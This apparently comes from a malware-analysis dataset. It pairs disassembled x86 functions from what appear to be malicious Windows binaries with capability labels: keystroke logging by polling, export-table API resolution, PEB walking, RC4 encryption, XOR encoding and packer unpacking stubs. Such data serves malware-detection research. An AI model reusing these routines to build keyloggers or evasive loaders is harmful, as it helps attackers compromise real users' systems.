joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100022c4
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x130
mov eax, esp
mov dword [eax + 8], 0xae0
mov dword [eax + 4], 0xbd0c7b
mov dword [eax], 0xbb4674
mov eax, dword [sym.imp.USER32.dll_InvalidateRgn]
call eax
sub esp, 0xc
mov ecx, esp
mov dword [ecx], 0xfd7bd4
mov ecx, dword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
mov dword [esp + 0x5c], eax
call ecx
sub esp, 4
xor ecx, ecx
lea edx, [esp + 0x70]
mov dword [esp + 0x58], eax
mov dword [esp + 0x54], edx
mov dword [esp + 0x50], ecx
jmp 0x1000239a
mov eax, esp
mov dword [eax + 4], 0x2f90a7
mov dword [eax], 0x58
mov eax, dword [sym.imp.USER32.dll_VkKeyScanExA]
call eax
sub esp, 8
mov word [esp + 0x4e], ax
jmp 0x100023dc
mov eax, dword [esp + 0x48]
add eax, 1
mov ecx, esp
mov dword [ecx], 0xac29ec
mov ecx, dword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
mov dword [esp + 0x44], eax
call ecx
sub esp, 4
mov ecx, dword [esp + 0x44]
cmp ecx, 0xa3
mov dword [esp + 0x40], eax
mov dword [esp + 0x50], ecx
je 0x10002484
jmp 0x1000239a
mov eax, dword [esp + 0x48]
sub eax, 0xc
mov dword [esp + 0x3c], eax
je 0x10002440
jmp 0x1000238b
mov eax, dword [esp + 0x48]
sub eax, 0x3e
mov dword [esp + 0x38], eax
je 0x100023f2
jmp 0x1000233e
mov eax, dword [esp + 0x50]
mov ecx, esp
mov dword [ecx], 5
mov ecx, dword [sym.imp.ADVAPI32.dll_GetSidLengthRequired]
mov dword [esp + 0x48], eax
call ecx
sub esp, 4
xor ecx, ecx
mov dword [esp + 0x34], eax
mov dword [esp + 0x30], ecx
mov eax, dword [esp + 0x30]
mov ecx, 0xf
mov dword [esp + 0x2c], eax
xor edx, edx
div ecx
cmp edx, 1
je 0x1000231b
mov eax, dword [esp + 0x2c]
add eax, 1
cmp eax, 0x299
mov dword [esp + 0x30], eax
je 0x10002378
jmp 0x100023bf
mov eax, esp
lea ecx, [esp + 0x60]
mov dword [eax + 0xc], ecx
mov dword [eax + 8], 0x3e5
mov dword [eax + 4], 0x8de4e7
mov dword [eax], 0x7a43a8
mov eax, dword [sym.imp.USER32.dll_GetMenuItemRect]
call eax
sub esp, 0x10
mov ecx, esp
mov dword [ecx], 0xc2f83a
mov ecx, dword [sym.imp.ole32.dll_CoTaskMemAlloc]
mov dword [esp + 0x28], eax
call ecx
sub esp, 4
mov ecx, dword [sym.imp.USER32.dll_GetForegroundWindow]
mov dword [esp + 0x24], eax
call ecx
mov dword [esp + 0x20], eax
xor eax, eax
mov ecx, 0xc0
mov edx, dword [esp + 0x54]
mov dword [esp], edx
mov dword [esp + 4], 0
mov dword [esp + 8], 0xc0
mov dword [esp + 0x1c], eax
mov dword [esp + 0x18], ecx
call sub.msvcrt.dll_memset
mov eax, esp
lea ecx, [esp + 0x70]
mov dword [eax], ecx
call sub.POWRPROF.dll_WriteGlobalPwrPolicy
sub esp, 4
mov byte [esp + 0x17], al
jmp 0x1000233e
mov esp, ebp
pop ebp
ret
Function at 0x1000bc6c
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
xor edx, edx
mov dword [0x102eec3c], 0x1bef
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x2c], edx
jmp 0x1000bd71
mov eax, dword [ebp - 0x30]
add esp, 0x4c
pop ebp
ret
mov eax, dword [ebp - 0x34]
mov ecx, esp
mov dword [ecx + 0xc], 0x40
mov dword [ecx + 8], 0x1000
mov dword [ecx + 4], 0x6000
mov dword [ecx], 0
call eax
sub esp, 0x10
mov dword [esp], eax
mov ecx, dword [ebp - 0x24]
mov dword [esp + 4], ecx
mov dword [ebp - 0x38], eax
call fcn.1000c298
xor eax, eax
mov ecx, dword [0x102eec3c]
add ecx, 0x25d2
mov dword [0x102eec40], ecx
mov ecx, dword [ebp - 0x38]
mov word [ecx], 0x5a4d
mov dword [ecx + 0x3c], 0xd0
mov dword [ecx + 0xd0], 0x4550
add ecx, 0xffc00000
mov edx, dword [ebp - 0x28]
mov dword [edx + 4], ecx
mov ecx, dword [ebp - 0x38]
mov dword [edx + 0x50], ecx
mov dword [0x102eec3c], 0x14a0
cmp ecx, 0
mov dword [ebp - 0x30], eax
je 0x1000bc92
jmp 0x1000bd9d
lea eax, [ebp - 0x20]
mov dword [0x102eec40], 0x5f3
mov dword [0x102eec3c], 0x1528
mov dword [ebp - 0x3c], eax
call fcn.1000c1d9
mov dword [esp], eax
mov eax, dword [ebp - 0x3c]
mov dword [esp + 4], eax
call fcn.1000bafb
xor ecx, ecx
cmp eax, 0
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x30], ecx
je 0x1000bc92
jmp 0x1000bc9a
mov eax, dword [ebp - 0x2c]
mov ecx, eax
add ecx, 1
mov dl, byte [eax + 0x1000e63c]
mov dh, byte [eax + 0x1000e60d]
sub dh, dl
mov byte [ebp + eax - 0x20], dh
cmp ecx, 0xe
mov dword [ebp - 0x2c], ecx
je 0x1000bd2b
jmp 0x1000bd71
mov eax, dword [ebp - 0x38]
add eax, 0x137f
mov dword [0x102eec3c], 0x3b87
mov dword [ebp - 0x30], eax
jmp 0x1000bc92
Function at 0x1000bdb7
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x48
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
mov edx, 0xffffffff
cmp ecx, 0
sete bl
cmp eax, 0
sete bh
and bl, bh
test bl, 1
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x18], edx
jne 0x1000bf76
jmp 0x1000be42
mov eax, dword [ebp - 0x1c]
xor ecx, ecx
mov eax, dword [eax]
mov edx, dword [ebp - 0x20]
cmp eax, edx
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x18], ecx
je 0x1000bf76
mov eax, dword [ebp - 0x24]
add eax, 0x24
mov dword [0x102eec3c], 0x1121
mov ecx, dword [ebp - 0x24]
mov edx, dword [ecx + 0x28]
mov esi, dword [ecx + 0x10]
mov edi, dword [ebp - 0x10]
cmp esi, edi
sete bl
mov bh, byte [ebp - 0x25]
and bh, bl
test bh, 1
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x30], edx
mov dword [ebp - 0x34], esi
jne 0x1000beb3
jmp 0x1000be83
mov dword [0x102eec3c], 0x244a
mov eax, dword [ebp - 0x10]
cmp eax, 0
setne cl
mov edx, dword fs:[0x18]
mov dword [0x102eec3c], 0x1cf5
mov eax, dword [edx + 0x30]
mov eax, dword [eax + 0xc]
add eax, 0x14
mov edx, eax
mov byte [ebp - 0x25], cl
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x1c], edx
jmp 0x1000bdf2
mov eax, 0x1121
xor ecx, ecx
mov edx, dword [ebp - 0x2c]
mov si, word [edx]
shr si, 1
movzx edi, si
cmp si, 0
mov ebx, dword [ebp - 0x24]
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x3c], edi
mov dword [ebp - 0x40], ecx
je 0x1000bdf2
jmp 0x1000bec3
mov eax, dword [ebp - 0x24]
add eax, 0xfffffff8
mov dword [ebp - 0x18], eax
jmp 0x1000bf76
mov eax, dword [ebp - 0x40]
mov ecx, dword [ebp - 0x38]
add ecx, 0xfffff50e
mov edx, eax
add edx, 1
mov esi, dword [ebp - 0x30]
mov di, word [esi + eax*2]
mov bx, di
add bx, 0xffbf
mov si, di
add si, 0x20
cmp bx, 0x1a
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x48], ecx
mov dword [ebp - 0x4c], edx
mov word [ebp - 0x4e], di
mov word [ebp - 0x50], si
jb 0x1000bf0e
mov ax, word [ebp - 0x4e]
mov word [ebp - 0x50], ax
mov ax, word [ebp - 0x50]
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x44]
cmp word [ecx + edx*2], ax
sete bl
cmp ax, 0
setne bh
mov al, bl
and al, bh
mov esi, dword [ebp - 0x4c]
mov edi, dword [ebp - 0x3c]
cmp esi, edi
setb bh
and al, bh
test al, 1
mov eax, dword [ebp - 0x48]
mov byte [ebp - 0x51], bl
mov dword [ebp - 0x40], esi
mov dword [ebp - 0x38], eax
jne 0x1000bec3
mov eax, dword [ebp - 0x48]
mov dword [0x102eec3c], eax
mov dword [0x102eec40], 0x180d
mov cl, byte [ebp - 0x51]
test cl, 1
mov edx, dword [ebp - 0x24]
mov esi, dword [ebp - 0x34]
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x18], esi
jne 0x1000bf76
jmp 0x1000bdf2
mov eax, dword [ebp - 0x18]
add esp, 0x48
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x1000c09e
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x18
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp + 8]
xor esi, esi
mov dword [0x102eec48], 0
mov byte [0x102eec4c], 0
mov dword [0x102eec3c], 0x143d
mov dword [0x102eec44], 0
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x1c], esi
jmp 0x1000c19f
mov eax, dword [ebp - 0x20]
mov ecx, 0x100
mov dword [ebp - 0x24], eax
xor edx, edx
mov esi, dword [ebp - 0x10]
div esi
mov dword [0x102eec50], 0
mov dword [0x102eec40], 0x15f3
mov edi, dword [0x102eec48]
mov ebx, dword [ebp - 0x18]
mov esi, dword [ebp - 0x24]
movzx esi, byte [ebx + esi]
add esi, edi
mov edi, dword [ebp - 0x14]
movzx edx, byte [edi + edx]
add esi, edx
mov dword [0x102eec50], esi
mov dword [0x102eec3c], 0x234c
mov eax, esi
cdq
idiv ecx
mov dword [0x102eec48], edx
mov ecx, dword [ebp - 0x24]
mov cl, byte [ebx + ecx]
mov byte [0x102eec4c], cl
mov cl, byte [ebx + edx]
mov edx, dword [ebp - 0x24]
mov byte [ebx + edx], cl
mov cl, byte [0x102eec4c]
mov esi, dword [0x102eec48]
mov byte [ebx + esi], cl
mov esi, dword [0x102eec44]
add esi, 1
mov dword [0x102eec44], esi
cmp esi, 0x100
mov dword [ebp - 0x20], esi
jl 0x1000c0e8
jmp 0x1000c1d1
xor eax, eax
mov dword [0x102eec44], 0
mov dword [ebp - 0x20], eax
jmp 0x1000c0e8
mov eax, dword [ebp - 0x1c]
mov ecx, eax
mov dl, cl
mov ecx, dword [ebp - 0x18]
mov byte [ecx + eax], dl
mov dword [0x102eec40], 0x2604
mov eax, dword [0x102eec44]
add eax, 1
mov dword [0x102eec44], eax
cmp eax, 0x100
mov dword [ebp - 0x1c], eax
jl 0x1000c19f
jmp 0x1000c18b
add esp, 0x18
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x1000c4a1
Capabilities:
Get number of processors

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov dword [ebp - 4], 0
mov eax, dword fs:[0x30]
mov dword [ebp - 4], eax
xor ecx, ecx
mov edx, dword [ebp - 4]
mov edx, dword [edx + 0x10]
mov edx, dword [edx + 0x3c]
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], edx
mov dword [ebp - 0x10], ecx
jmp 0x1000c4fb
mov dword [0x102eec3c], 0x151b
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x14]
cmp word [eax + ecx*2 - 0x14], 0x64
je 0x1000c572
jmp 0x1000c4f4
mov eax, dword [ebp - 0x18]
add esp, 0x20
pop ebp
ret
xor eax, eax
mov dword [ebp - 0x18], eax
jmp 0x1000c4ec
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0xc]
cmp word [ecx + eax*2], 0
mov edx, eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x20], edx
je 0x1000c528
mov eax, dword [ebp - 0x1c]
add eax, 1
cmp eax, 0x104
mov ecx, eax
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0x20], eax
jl 0x1000c4fb
mov eax, dword [ebp - 0x20]
mov dword [0x102eec3c], 0x156c
mov ecx, dword [ebp - 0xc]
cmp word [ecx + eax*2 - 0x1a], 0x6c
mov dword [ebp - 0x14], eax
jne 0x1000c4f4
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x14]
cmp word [eax + ecx*2 - 0x18], 0x6f
jne 0x1000c4f4
mov dword [0x102eec40], 0xa99
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x14]
cmp word [eax + ecx*2 - 0x16], 0x61
je 0x1000c4cd
jmp 0x1000c4f4
mov dword [0x102eec3c], 0x1fe5
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x14]
cmp word [eax + ecx*2 - 0x12], 0x64
jne 0x1000c4f4
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x14]
cmp word [eax + ecx*2 - 0x10], 0x6c
jne 0x1000c4f4
mov eax, 1
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 0x14]
cmp word [ecx + edx*2 - 0xe], 0x6c
mov dword [ebp - 0x18], eax
je 0x1000c4ec
jmp 0x1000c4f4
Function at 0x1000c5c2
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x48
mov eax, dword [ebp + 8]
mov dword [0x102eec40], 0x1fb9
mov dword [ebp - 0x10], eax
call fcn.1000cc78
xor ecx, ecx
mov edx, eax
mov esi, dword [eax + 0x3c]
mov edi, edx
add edi, esi
mov esi, dword [eax + esi]
cmp esi, 0x4550
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x20], edi
je 0x1000c608
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x78]
mov dword [0x102eec40], 0x53
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x14]
add ecx, dword [edx + eax + 0x20]
mov dword [0x102eec3c], 0x1839
mov esi, dword [edx + eax + 0x18]
cmp esi, 0
mov edi, dword [ebp - 0x18]
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x2c], esi
mov dword [ebp - 0x30], edi
je 0x1000c71c
jmp 0x1000c6c2
mov al, byte [ebp - 0x31]
cmp al, 0
setne cl
mov edx, dword [ebp - 0x38]
add edx, 1
mov ah, byte [ebp - 0x39]
and ah, cl
cmp edx, 0x20
setb cl
and ah, cl
test ah, 1
mov dword [ebp - 0x40], edx
jne 0x1000c6ee
jmp 0x1000c69e
xor eax, eax
mov ecx, dword [ebp - 0x44]
add ecx, 1
mov edx, dword [ebp - 0x48]
add edx, 2
mov esi, dword [ebp - 0x2c]
cmp ecx, esi
mov dword [ebp - 0x4c], ecx
mov dword [ebp - 0x50], edx
mov dword [ebp - 0x30], eax
jb 0x1000c6d4
jmp 0x1000c71c
mov al, byte [ebp - 0x39]
test al, 1
jne 0x1000c6a7
jmp 0x1000c678
mov eax, dword [ebp - 0x48]
movzx ecx, word [eax]
mov edx, dword [ebp - 0x1c]
mov esi, dword [ebp - 0x24]
add edx, dword [edx + esi + 0x1c]
mov edi, dword [ebp - 0x1c]
add edi, dword [edx + ecx*4]
mov dword [ebp - 0x30], edi
jmp 0x1000c71c
xor eax, eax
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x24]
add ecx, dword [ecx + edx + 0x24]
mov dword [ebp - 0x50], ecx
mov dword [ebp - 0x4c], eax
mov eax, dword [ebp - 0x4c]
mov ecx, dword [ebp - 0x50]
xor edx, edx
mov esi, dword [ebp - 0x28]
mov edi, dword [esi + eax*4]
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x48], ecx
mov dword [ebp - 0x54], edi
mov dword [ebp - 0x40], edx
mov eax, dword [ebp - 0x40]
mov ecx, eax
mov edx, dword [ebp - 0x54]
add ecx, edx
mov esi, dword [ebp - 0x1c]
mov bl, byte [esi + ecx]
mov ecx, dword [ebp - 0x10]
mov bh, byte [ecx + eax]
cmp bl, bh
sete cl
cmp bl, 0
mov dword [ebp - 0x38], eax
mov byte [ebp - 0x31], bh
mov byte [ebp - 0x39], cl
je 0x1000c69e
jmp 0x1000c64d
mov eax, dword [ebp - 0x30]
add esp, 0x48
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x1000ce02
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x28
mov eax, dword [ebp + 0x14]
mov ecx, dword [ebp + 0x10]
mov edx, dword [ebp + 0xc]
mov esi, dword [ebp + 8]
xor edi, edi
mov dword [0x102eec44], 0
mov dword [0x102eec48], 0
mov dword [0x102eec54], 0
cmp eax, 0
mov ebx, edi
mov dword [ebp - 0x10], eax
mov eax, edi
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x28], edi
je 0x1000cf61
jmp 0x1000ce74
mov eax, dword [0x102eec44]
mov ecx, dword [0x102eec48]
mov edx, dword [ebp - 0x2c]
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x24], edx
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x24]
mov esi, 0x100
add eax, 1
mov edi, edx
add edi, 1
mov dword [ebp - 0x30], edx
cdq
idiv esi
mov dword [0x102eec44], edx
mov dword [0x102eec3c], 0x1bee
mov ebx, dword [ebp - 0x20]
movzx ebx, byte [ebx + edx]
add ebx, ecx
mov eax, ebx
mov dword [ebp - 0x34], edx
cdq
idiv esi
mov dword [0x102eec48], edx
mov ecx, dword [ebp - 0x20]
mov esi, dword [ebp - 0x34]
mov cl, byte [ecx + esi]
mov byte [0x102eec4c], cl
mov dword [0x102eec3c], 0xfad
mov ebx, dword [ebp - 0x20]
mov cl, byte [ebx + edx]
mov byte [ebx + esi], cl
mov cl, byte [0x102eec4c]
mov edx, dword [0x102eec48]
mov byte [ebx + edx], cl
mov dword [0x102eec3c], 0x2446
mov edx, dword [0x102eec44]
movzx edx, byte [ebx + edx]
mov ecx, dword [0x102eec48]
movzx ecx, byte [ebx + ecx]
add ecx, edx
and ecx, 0xff
mov dword [0x102eec54], ecx
mov dword [0x102eec3c], 0x213
mov cl, byte [ebx + ecx]
mov edx, dword [ebp - 0x18]
mov esi, dword [ebp - 0x30]
mov ch, byte [edx + esi]
mov dword [0x102eec3c], 0x1808
xor ch, cl
mov edx, dword [ebp - 0x1c]
mov byte [edx + esi], ch
mov edx, dword [0x102eec40]
add edx, 0x22f8
mov dword [0x102eec40], edx
mov edx, dword [ebp - 0x10]
cmp edi, edx
mov dword [ebp - 0x2c], edi
jne 0x1000ce5d
add esp, 0x28
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x1000cf69
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x90
lea eax, [esp + 0x20]
lea ecx, [esp + 0x30]
mov dword [esp], eax
mov dword [esp + 0x1c], ecx
call fcn.1000c776
lea ecx, [0x1000c727]
mov edx, dword [esp + 0x20]
mov dword [esp + 0x5c], edx
mov dword [esp + 0x7c], 0x146800
mov edx, dword [0x102eec28]
mov dword [esp + 0x64], edx
mov edx, dword [0x102eec2c]
mov dword [esp + 0x84], edx
mov edx, dword [0x102eec30]
mov dword [esp + 0x38], edx
mov edx, dword [0x102eec34]
mov dword [esp + 0x60], edx
mov edx, dword [0x102eec38]
mov dword [esp + 0x74], edx
mov dword [0x102eec3c], 0x1c86
mov dword [esp + 0x18], eax
mov dword [esp + 0x14], ecx
mov eax, dword [esp + 0x14]
cmp word [eax], 0x5a4d
mov dword [esp + 0x10], eax
jne 0x1000d009
mov eax, dword [esp + 0x10]
mov ecx, dword [eax + 0x3c]
cmp dword [eax + ecx], 0x4550
mov dword [esp + 0xc], ecx
je 0x1000d01d
mov eax, dword [esp + 0x10]
add eax, 0xfffff000
and eax, 0xfffff000
mov dword [esp + 0x14], eax
jmp 0x1000cfe6
mov eax, dword [esp + 0x10]
mov dword [esp + 0x50], eax
mov ecx, dword [esp + 0xc]
mov edx, dword [eax + ecx + 0x50]
mov dword [esp + 0x88], edx
call fcn.1000c4a1
xor ecx, ecx
cmp eax, 0
mov dword [esp + 8], ecx
jne 0x1000d070
lea eax, [esp + 0x30]
mov ecx, dword [esp + 0x28]
mov dword [esp], eax
mov dword [esp + 4], ecx
call fcn.1000bc6c
mov ecx, esp
lea edx, [esp + 0x30]
mov dword [ecx], edx
call eax
sub esp, 4
mov eax, 2
mov dword [esp + 8], eax
mov eax, dword [esp + 8]
mov esp, ebp
pop ebp
ret
Function at 0x401219
Capabilities:
Terminate process

Disassembly:
mov eax, dword fs:[0]
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x40501c
push 0x40109a
push eax
mov dword fs:[0], esp
sub esp, 0x10
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
push eax
fnstcw word [esp]
or word [esp], 0x300
fldcw word [esp]
add esp, 4
push 0
push 0
push 0x405028
push 0x405024
push 0x405020
call sub.CRTDLL.DLL___GetMainArgs
push dword [0x405028]
push dword [0x405024]
push dword [0x405020]
mov dword [0x405014], esp
call fcn.0040129c
add esp, 0x18
xor ecx, ecx
mov dword [ebp - 4], ecx
push eax
call sub.CRTDLL.DLL_exit
leave
ret

Function at 0x461f20
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, 0x455015
lea edi, [esi - 0x54015]
push edi
or ebp, 0xffffffff
jmp 0x461f42
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x461f49
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x461f38
mov eax, 1
add ebx, ebx
jne 0x461f5b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x461f50
jne 0x461f6c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x461f50
xor ecx, ecx
sub eax, 3
jb 0x461f80
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x461ff2
mov ebp, eax
add ebx, ebx
jne 0x461f8b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x461f98
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x461fbc
inc ecx
add ebx, ebx
jne 0x461fa8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x461f9d
jne 0x461fb9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x461f9d
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x461fdc
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x461fcd
jmp 0x461f3e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x461fdc
add edi, ecx
jmp 0x461f3e
pop esi
mov edi, esi
mov ecx, 0x32d
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x461ffa
cmp byte [edi], 0
jne 0x461ffa
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov eax, ebx
loop 0x461fff
lea edi, [esi + 0x5f000]
mov eax, dword [edi]
or eax, eax
je 0x46206e
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x621f0]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x62254]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x46202c
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x62258]
or eax, eax
je 0x462068
mov dword [ebx], eax
add ebx, 4
jmp 0x462049
call dword [esi + 0x6225c]
popal
jmp 0x4095a4
Function at 0x432000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43200c
nop
nop
pop eax
nop
nop
nop
add eax, reloc.kernel32.dll_RemoveDirectoryA
nop
nop
sub eax, 0x407245
nop
mov ebx, dword [eax]
nop
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
mov edx, dword [eax + 8]
nop
xor dword [ebx], edx
nop
nop
nop
nop
nop
add ebx, 4
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
nop
jl 0x432030
nop
nop
nop
add eax, 0xc
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
nop
nop
jne 0x43201e
nop
nop
nop
popal
nop
nop
nop
jmp 0x431219
Function at 0x100018b0
Capabilities:
Enumerate pe sections

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
xor edx, edx
push ebx
push esi
push edi
mov ecx, dword [eax + 0x3c]
add ecx, eax
movzx eax, word [ecx + 0x14]
movzx ebx, word [ecx + 6]
add eax, 0x18
add eax, ecx
test ebx, ebx
je 0x100018ee
mov edi, dword [ebp + 0xc]
mov esi, dword [eax + 0xc]
cmp edi, esi
jb 0x100018e6
mov ecx, dword [eax + 8]
add ecx, esi
cmp edi, ecx
jb 0x100018f0
inc edx
add eax, 0x28
cmp edx, ebx
jb 0x100018d6
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x100019c0
Capabilities:
Parse pe header

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
je 0x100019d6
xor eax, eax
pop ebp
ret
mov ecx, dword [eax + 0x3c]
add ecx, eax
xor eax, eax
cmp dword [ecx], 0x4550
jne 0x100019f1
mov edx, 0x10b
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret

Function at 0x100062a4
Capabilities:
Encode data using xor

Disassembly:
call 0x1000621d
sub bl, byte [ebx]
mov eax, 0x64f7f691
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
cld
test edx, ebx
or eax, dword [ebx - 0x178f73c]
xor esi, 0xde5af04
add eax, esi
lea esp, [esp - 0xe]
mov esi, dword [esp + 0xe]
lea esp, [esp + 0x12]
xor esi, dword [esp]
push eax
sub eax, 0xf24f2b00
mov eax, esp
or dword [eax - 0x22], ebx
pop eax
jmp 0x1000624d
xor dword [esp], esi
xor eax, 0
mov dword [esp], esi
add esp, 4
add esi, dword [ebp + 8]
push ebp
add ebp, 0xc
mov ecx, dword [ebp]
pop ebp
ja 0x10006269
xor edx, 0
jmp 0x10006274
xor edx, edx
jmp 0x1000628b
jmp 0x10006297
xor eax, eax
push 0x8427d7c0
call 0x100062a4
stc
add esp, 8
add esi, 0
cmp ecx, 0
je 0x100062e0
mov ebx, dword [ebp + 0x10]
mov edi, dword [ebp + 0x14]
add bl, dl
xor byte [esi], bl
mov dl, byte [esi]
inc esi
add ebx, edi
rol ebx, 8
dec ecx
jne 0x100062b9
lea esp, [esp - 4]
xchg dword [esp], ebx
mov ebx, dword [esp]
or eax, edx
xor eax, eax
add eax, dword [esp]
add esp, 4
pop esi
pop edi
pop ebx
xchg dword [esp], ecx
mov dword [esp], ecx
lea esp, [esp + 4]
pop edx
leave
je 0x100062f7
add eax, 0
jno 0x100062fc
add esi, 0
ret 0x10